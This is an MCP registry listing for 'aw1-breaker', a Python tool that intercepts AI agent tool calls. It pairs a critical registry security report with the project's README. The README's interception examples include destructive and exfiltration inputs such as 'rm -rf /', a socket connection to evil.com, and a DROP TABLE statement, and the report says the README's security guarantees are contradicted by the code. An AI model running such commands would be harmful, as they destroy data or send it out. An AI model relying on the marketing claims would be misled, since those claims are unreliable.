Back to Browse

Aw1 Circuit Breaker MCP Server

Developer ToolsUse Caution0.5MCP RegistryLocalRemote
Free

Server data from the Official MCP Registry

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

About

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

Remote endpoints: sse: https://p20.laveto.net/wisdom/mcp/sse

Security Report

0.5
Use Caution0.5Critical Risk

This codebase bundles a financial disbursement server that executes real treasury and cross-border transfers against a MySQL ledger, exposes an unauthenticated-by-default tools/call path where the caller can supply caller_id and the governor is bypassed on the legacy routing path, and contains hardcoded ISO/audit values, a hardcoded fiduciary key fingerprint, and hardcoded absolute paths to a developer home directory. The marketing README claims interception and security guarantees that the code contradicts (e.g., the AST guard blocks 'os' and 'subprocess' only via limited checks and the stdio server's execute_tool returns a generic 'Executed' response for unknown tools while forwarding the original unmodified request). Score is driven by unsafe financial-operation exposure, weak authentication (token presence check only, no verification), and lack of input validation on SQL and recipient fields, making this unsuitable for deployment as a Developer Tools MCP server without major remediation. Supply chain analysis found 4 known vulnerabilities in dependencies.

9 files analyzed · 15 issues found

Security scores are indicators to help you make informed decisions, not guarantees. Always review permissions before connecting any MCP server.

Permissions Required

This plugin requests these system permissions. Most are normal for its category.

database

Check that this permission is expected for this type of plugin.

File System Write

Writes or modifies files on your machine. Check that this is expected for the tool.

env_vars

Check that this permission is expected for this type of plugin.

HTTP Network Access

Connects to external APIs or services over the internet.

process_spawn

Check that this permission is expected for this type of plugin.

How to Install & Connect

Available as Local & Remote

This plugin can run on your machine or connect to a hosted endpoint. during install.

Documentation

View on GitHub

From the project's GitHub README.

aw1-breaker (v2.1.0)

HOL Verified PyPI Python Matrix Enterprise CI Matrix Zero Dependencies Latency MCP Registry Glama Score License: Apache-2.0

Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.

aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.


High-Concurrency Performance (v2.1.0 Verified)

Evaluated across a stress test of 10,000 asynchronous agent dispatches in concurrent batches of 500 simultaneous tasks:

MetricResultIndustry Standard (LLM-as-a-Judge)
Throughput8,485.0 dispatches/sec~5 – 20 req/sec
Median Latency (P50)0.0776 ms (77.6 µs)500 – 1,500 ms
90th Percentile (P90)0.0941 ms (94.1 µs)1,200 – 2,000 ms
95th Percentile (P95)0.1066 ms (106.6 µs)1,500 – 2,500 ms
99th Percentile (P99)0.2263 ms (226.3 µs)2,000 – 4,000 ms
Attack Blocking Latency< 0.13 ms (Fail-Closed)N/A (Probabilistic)
Deterministic Guarantee100% Mathematical AST MatchProbabilistic (~85–95%)

⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal without installing anything:

uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

📦 Installation

pip install --upgrade aw1-circuit-breaker

(Zero external dependencies. Pure Python standard library: Python 3.10 to 3.13).


🛡️ Enterprise Guard (Turnkey Integration)

Drop enterprise boundary policies directly onto agent tools using the @guard.protect or universal @guard adapter:

from aw1 import EnterpriseGuard, SecurityViolationError

guard = EnterpriseGuard(
    allowed_tools=["safe_query", "fetch_market_data"],
    max_velocity_per_min=60,
    max_financial_limit=250.0,
    readonly_sql=True
)

@guard.protect(tool_name="safe_query")
def execute_database_query(query: str):
    return db.execute(query)

# Benign queries execute instantly (< 0.2ms)
execute_database_query("SELECT id FROM users LIMIT 1;")

# Adversarial AST injections & SQL drops are halted deterministically:
# -> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"

Universal Function & Async Gating

from aw1 import guard

@guard
async def run_agent_tool(tool_payload: dict) -> dict:
    return {"status": "ok"}

🔌 Model Context Protocol (MCP) Server

Run directly with Python:

python mcp_server.py

Or via uvx:

uvx aw1-circuit-breaker

MCP Client Configuration

Add to your Claude Desktop or Cursor configuration:

{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "uvx",
      "args": ["aw1-circuit-breaker"]
    }
  }
}

⚔️ Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix

Attack VectorAttacker StrategyLLM Guardrail ResultAW-1 AST Circuit Breaker
Dynamic Executioneval(compile(...))Evades semantic filters🛑 Tripped (RESTRICTED_INVOCATION)
Shell Escapessubprocess.Popen(['bash', ...])Masked as system task🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT)
Lateral Exfiltrationsocket.connect(('evil.com', 443))Disguised as HTTP fetch🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT)
SQL DestructionDROP TABLE users;Prompt jailbreak bypass🛑 Tripped (HALT_SQL_MUTATION_FORBIDDEN)
Dunder Introspection().__class__.__subclasses__()Bypasses keyword filters🛑 Tripped (FAIL_CLOSED_REFLECTION_BREACH)

Run the Showcase

python examples/enterprise_guard_demo.py

⏱️ Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Targetp50 Latencyp95 Latencyp99 LatencyStatus
AST Inspection (Benign Payload)0.0889 ms0.1298 ms0.1645 ms< 0.2 ms Overhead
AST Inspection (Adversarial Exploit)0.0520 ms0.0919 ms0.1051 msInstant Breakout Halt
Shell Argument Injection Guard0.0051 ms0.0096 ms0.0195 msSub-20 µs Inspection

Reproduce locally:

python benchmark.py

🧩 Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")

🌐 Cloud REST API Gateway & Production Quotas

The AW-1 Circuit Breaker provides a production-grade HTTP interception gateway for microservices, browser frontends, and autonomous agent platforms.

  • Endpoint: POST https://p20.laveto.net/wisdom/api/v1/intercept
  • CORS: Enabled (Access-Control-Allow-Origin: *)
  • Arbitration Engine Latency: < 0.80 ms

Request Payload

{
  "actor_id": "agent-alpha-01",
  "tool_name": "sql_query",
  "payload": "SELECT id, balance FROM accounts WHERE user_id = 42;"
}

Response Schema

1. Permitted Execution (Token Minted)
{
  "status": "PERMITTED",
  "verdict": "PASS",
  "permitted": true,
  "actor_id": "agent-alpha-01",
  "tool_name": "sql_query",
  "token": "YOUR_KEY_dev_dummy_key_000000000000",
  "reason": "Policy evaluation completed: execution safe",
  "latency_ms": 0.762,
  "circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}
2. Threat Contained (Fail-Closed)
{
  "status": "HALT_AND_CONTAIN",
  "verdict": "FAIL_CLOSED",
  "permitted": false,
  "actor_id": "agent-alpha-01",
  "tool_name": "bash",
  "token": null,
  "reason": "AST Circuit Breaker containment triggered",
  "latency_ms": 0.201,
  "circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}

Production Quotas & Pricing

PlanPricing (USD / BWP)Quota & FeaturesAccess / Checkout
Developer SandboxFree10,000 requests, HMAC token mintingCode HOL-BREAKER-2026
Developer Pro$49 / BWP 650 /mo100,000 audit requests, 1 license key, offline HMAC validationUpgrade to Pro
Team / Startup$199 / BWP 2,650 /mo1,000,000 audit requests, 5 seat keys, Redis state syncUpgrade to Team
Enterprise Dedicated$990 / BWP 13,200 /moUnlimited seats, dedicated gateway tenant, custom statutory lensesEnterprise Desk

To activate enterprise quotas, pass your signed bearer token in the Authorization header:

curl -X POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept) \
  -H "Authorization: Bearer AW1-EXEC-TOKEN-..." \
  -H "Content-Type: application/json" \
  -d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

Reviews

No reviews yet

Be the first to review this server!